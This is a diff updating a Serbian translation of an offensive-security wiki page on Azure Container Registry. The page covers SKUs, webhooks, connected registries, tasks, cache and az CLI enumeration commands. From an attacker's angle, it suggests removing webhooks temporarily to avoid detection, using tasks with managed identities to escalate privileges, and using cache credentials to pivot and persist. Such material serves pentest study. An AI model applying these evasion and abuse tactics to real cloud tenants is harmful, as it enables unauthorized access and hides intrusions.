@@ -49,41 +49,41 @@ USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].app
echo "Service principal ID: $USER_NAME"
echo "Service principal password: $PASSWORD"
```
### Encryption
### Enkripcija
Samo **Premium SKU** podržava **encryption at rest** za slike i druge artefakte.
### Networking
### Umrežavanje
Samo **Premium SKU** podržava **private endpoints**. Ostali podržavaju samo **public access**. Public endpoint ima format `<registry-name>.azurecr.io`, a private endpoint ima format `<registry-name>.privatelink.azurecr.io`. Iz tog razloga, ime registry-ja mora biti jedinstveno u celom Azure-u.
Samo **Premium SKU** podržava **private endpoints**. Ostali podržavaju samo **public access**. Javni endpoint ima format `<registry-name>.azurecr.io`, a privatni endpoint ima format `<registry-name>.privatelink.azurecr.io`. Zbog toga ime registry-ja mora biti jedinstveno u celom Azure-u.
### Microsoft Defender for Cloud
Ovo vam omogućava da **scan the images** u registry-ju na **vulnerabilities**.
Ovo omogućava da **skenirate slike** u registry-ju radi otkrivanja **vulnerabilities**.
### Soft-delete
Funkcija **soft-delete** vam omogućava da **recover a deleted registry** u okviru naznačenog broja dana. Ova funkcija je **disabled by default**.
Funkcija **soft-delete** omogućava da **oporavite obrisani registry** u roku od navedenog broja dana. Ova funkcija je **podrazumevano onemogućena**.
### Webhooks
Moguće je **create webhooks** unutar registry-ja. U ovom webhook-u je potrebno navesti URL na koji će se **request** poslati svaki put kada se izvrši push ili delete akcija. Takođe, Webhooks mogu navesti scope kako bi označili repositories (images) na koje će se to odnositi. Na primer, 'foo:\*' znači događaje u okviru repository-ja 'foo'.
Moguće je **kreirati webhooks** unutar registry-ja. U ovom webhook-u potrebno je navesti URL na koji će **biti poslat zahtev svaki put kada se izvrši push ili delete akcija**. Osim toga, Webhooks mogu navesti scope kojim se određuju repozitorijumi (slike) na koje će to uticati. Na primer, `foo:*` označava događaje unutar repozitorijuma `foo`.
Iz perspektive napadača, korisno je ovo proveriti **pre nego što se izvrši bilo kakva akcija** u registry-ju, i po potrebi ga privremeno ukloniti, da bi se izbeglo otkrivanje.
Iz perspektive napadača, zanimljivo je proveriti ovo **pre izvršavanja bilo kakve akcije** u registry-ju i privremeno ga ukloniti ako je potrebno, kako bi se izbegla detekcija.
### Connected registries
Ovo u osnovi omogućava da se **mirror the images** iz jednog registry-ja u drugi, obično lociran on-premises.
Ovo u osnovi omogućava **mirroring slika** iz jednog registry-ja u drugi, koji se obično nalazi on-premises.
Ima 2 moda: **ReadOnly** i **ReadWrite**. U prvom, images se samo **pulled** iz source registry-ja, a u drugom se images takođe mogu **pushed** u source registry.
Ima 2 režima: **ReadOnly** i **ReadWrite**. U prvom režimu slike se samo **preuzimaju** iz izvornog registry-ja, dok u drugom režimu slike mogu biti i **poslate** u izvorni registry.
Da bi klijenti pristupili registry-ju iz Azure-a, **token** se generiše kada se koristi conected registry.
Da bi klijenti mogli da pristupe registry-ju iz Azure-a, generiše se **token** kada se koristi connected registry.
### Runs & Tasks
Runs & Tasks omogućava izvršavanje akcija vezanih za Azure container koje biste obično morali da radite lokalno ili u CI/CD pipeline-u. Na primer, možete **build, push, and run images in the registry**.
Runs & Tasks omogućava izvršavanje radnji povezanih sa Azure container-ima koje su obično potrebne lokalno ili u CI/CD pipeline-u. Na primer, možete **build-ovati, push-ovati i pokretati slike u registry-ju**.
Najlakši način da build-ujete i pokrenete container je korišćenjem običnog Run:
Najlakši način za build-ovanje i pokretanje container-a jeste korišćenje običnog Run-a:
```bash
# Build
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
# Run
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
```
Međutim, to će pokrenuti runs koji nisu baš zanimljivi iz napadačke perspektive zato što nemaju nijednu attached managed identity.
Međutim, to će pokrenuti izvršavanja koja nisu naročito interesantna iz perspektive napadača, jer im nije pridružen nijedan managed identity.
Međutim, **tasks** mogu imati prikačenu **system i user managed identity**. Ti tasks su oni korisni za **escalate privileges** u containeru. U sekciji privileges escalation moguće je videti kako koristiti tasks za escalate privileges.
Međutim, **tasks** mogu imati pridružen **system and user managed identity**. To su **tasks** koji su korisni za **eskalaciju privilegija** u containeru. U odeljku o eskalaciji privilegija moguće je videti kako koristiti tasks za eskalaciju privilegija.
### Cache
Cache feature omogućava da se **download images from an external repository** i da se nove verzije sačuvaju u registry. Zahteva da budu podešeni neki **credentials** tako što se izaberu credentials iz Azure Vault.
Funkcija Cache omogućava **preuzimanje image-a iz eksternog repository-ja** i čuvanje novih verzija u registry-ju. Potrebno je da postoje **konfigurisani credentials**, tako što se credentials izaberu iz Azure Vault-a.
Ovo je veoma zanimljivo iz napadačke perspektive zato što omogućava da se **pivot to an external platform** ako napadač ima dovoljno permissions da pristupi credentials, **download images from an external repository** i konfigurisanje cache-a takođe može da se koristi kao **persistence mechanism**.
Ovo je veoma interesantno iz perspektive napadača, jer omogućava **pivotovanje na eksternu platformu** ako napadač ima dovoljno dozvola za pristup credentials-ima. **Preuzimanje image-a iz eksternog repository-ja** i konfigurisanje Cache-a takođe može biti iskorišćeno kao **mehanizam persistence-a**.
## Enumeration
## Enumeracija
> [!WARNING]
> Veoma je važno da čak i ako registry name sadrži neka velika slova, za pristup preko url-a treba koristiti samo mala slova.
> Veoma je važno da, čak i ako naziv registry-ja sadrži velika slova, u URL-u za pristup treba koristiti samo mala slova.
```bash
# List of all the registries
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
@@ -143,18 +143,22 @@ az acr cache list --registry <registry-name>
# Get cache details
az acr cache show --name <cache-name> --registry <registry-name>
```
## Neautorizovan pristup
## Neautentifikovani pristup
{{#ref}}
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
{{#endref}}
## Eskalacija privilegija i post eksploatacija
## Privilege Escalation & Post Exploitation
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
{{#ref}}
../az-post-exploitation/az-container-registry-post-exploitation.md
{{#endref}}
## Reference
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)